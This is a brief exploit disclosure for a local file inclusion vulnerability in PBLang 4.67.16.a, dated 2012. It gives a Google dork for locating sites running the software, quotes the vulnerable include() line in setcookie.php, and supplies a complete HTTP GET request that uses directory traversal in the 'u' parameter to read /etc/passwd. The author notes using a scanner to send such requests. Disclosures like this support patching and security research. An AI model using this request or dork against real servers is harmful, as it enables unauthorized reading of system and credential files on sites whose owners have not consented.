PBLang 4.67.16.a Local File Inclusion

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# Exploit Title: [PBLang local file include vulnerability]  
# Google Dork: ["Software PBLang 4.67.16.a"]  
# Date: [12/03/2012]  
# Author: ~Pseudo: [Number 7];  
~ Twitter:[@TunisianSeven];  
~ Blog: [http://tunisianseven.blogspot.com/]  
# Software Link: [http://garr.dl.sourceforge.net/project/pblang/Full%20versions/PBLang%204.67.16.a%20no%20graphics/PBLang-4.67.16.a-nographics.zip]  
# Version: [4.67.16.a]  
# Tested on: [wINDOWS,Linux]  
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Proof of concept:  
In setcookie.php  
include($dbpath."/members/".$u);  
In order to successfully perform this attack the attacker must have  
the full path where the files are uploaded, and it is easy to get  
making a request like this:  
GET http://localhost/path/setcookie.php?u=../../../../../etc/passwd HTTP/1.1  
Cookie: eXtplorer=eRlQPZSWiGt2zRpFlXr6qCgja6DiLumU  
Host: localhost:80  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  
For requests like this i use acunetix :D  
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